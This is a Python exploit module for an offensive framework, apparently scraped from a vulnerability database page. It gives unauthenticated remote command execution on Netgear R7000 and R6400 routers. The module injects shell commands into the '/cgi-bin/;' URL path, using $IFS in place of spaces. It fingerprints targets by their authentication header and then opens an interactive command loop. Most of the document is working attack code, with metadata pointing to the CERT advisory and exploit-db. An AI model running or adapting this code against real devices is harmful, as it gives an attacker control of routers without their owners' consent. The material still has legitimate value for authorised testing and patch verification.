Netgear R7000 & R6400 RCE
#!/usr/bin/env python3
# -*- coding: utf-8 -*-
"""Netgear R7000 & R6400 RCE"""
from kittysploit import *
from lib.protocols.http.http_client import Http_client
from lib.exploit.handler import Handler
class Module(Exploit, Http_client, Handler):
__info__ = {
'name': 'Netgear R7000 & R6400 RCE',
'description': 'Module exploits remote command execution in Netgear R7000 and R6400 devices. If the target is vulnerable, command loop is invoked that allows executing commands on operating system level.',
'author': ['Chad Dougherty', 'Marcin Bury'],
'platform': Platform.LINUX,
'payload': {'default': 'nopayload'},
'references': ['http://www.sj-vs.net/a-temporary-fix-for-cert-vu582384-cwe-77-on-netgear-r7000-and-r6400-routers/', 'https://www.exploit-db.com/exploits/40889/', 'http://www.kb.cert.org/vuls/id/582384'],
'tags': ['iot', 'router', 'rce', 'unauth'],
'agent': {
'risk': 'intrusive',
'effects': ['active_exploitation'],
'expected_requests': 2,
'reversible': False,
'approval_required': True,
'produces': ['exploit_paths', 'risk_signals'],
'cost': 1.5,
'noise': 0.5,
'value': 1.0,
},
}
target = OptIP("", "Target IPv4 or IPv6 address")
port = OptPort(80, "Target HTTP port")
def execute(self, cmd):
cmd = cmd.replace(" ", "$IFS")
path = "/cgi-bin/;{}".format(cmd)
self.http_request(
method="GET",
path=path
)
return ""
def check(self):
response = self.http_request(
method="HEAD",
path="/",
)
if response is None:
return {"vulnerable": False, "reason": "Check failed", "confidence": "medium"} # target is not vulnerable
if "WWW-Authenticate" in response.headers.keys():
if any(map(lambda x: x in response.headers['WWW-Authenticate'], ["NETGEAR R7000", "NETGEAR R6400"])):
return {"vulnerable": True, "reason": "Check succeeded", "confidence": "medium"} # target is vulnerable
return {"vulnerable": False, "reason": "Check failed", "confidence": "medium"} # target is not vulnerable
def run(self):
result = self.check()
if isinstance(result, dict):
if not result.get("vulnerable"):
self.not_vulnerable()
return False
elif not result:
self.not_vulnerable()
return False
print_success("Target appears vulnerable")
return self.handler_execute()
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19 Aug 2026 05:37Current
6.1Medium risk
Vulners AI Score6.1